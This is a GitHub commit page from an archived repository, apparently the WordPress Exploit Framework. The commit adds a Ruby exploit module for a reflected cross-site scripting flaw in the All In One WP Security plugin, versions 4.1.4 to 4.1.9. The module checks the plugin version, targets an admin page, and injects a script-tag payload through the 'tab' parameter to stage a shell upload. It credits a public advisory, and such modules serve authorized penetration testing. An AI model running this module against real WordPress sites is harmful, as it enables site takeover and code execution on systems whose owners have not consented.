Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 13a75d3

Browse files
committed
Add All In One WP Security 4.1.4 to 4.1.9 Reflected XSS Shell Upload module
1 parent ac9b132 commit 13a75d3

File tree

1 file changed

+35
-0
lines changed

1 file changed

+35
-0
lines changed
Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
class Wpxf::Exploit::AllInOneWpSecurityReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'All In One WP Security 4.1.4 to 4.1.9 Reflected XSS Shell Upload',
9+
author: [
10+
'Yorick Koster', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8665'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_all_in_one_wp_security___firewall_wordpress_plugin.html']
16+
],
17+
date: 'Nov 16 2016'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('all-in-one-wp-security-and-firewall', '4.1.10', '4.1.4')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'admin.php?page=aiowpsec&tab=tab3')
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'tab' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
33+
)
34+
end
35+
end

0 commit comments

Comments
 (0)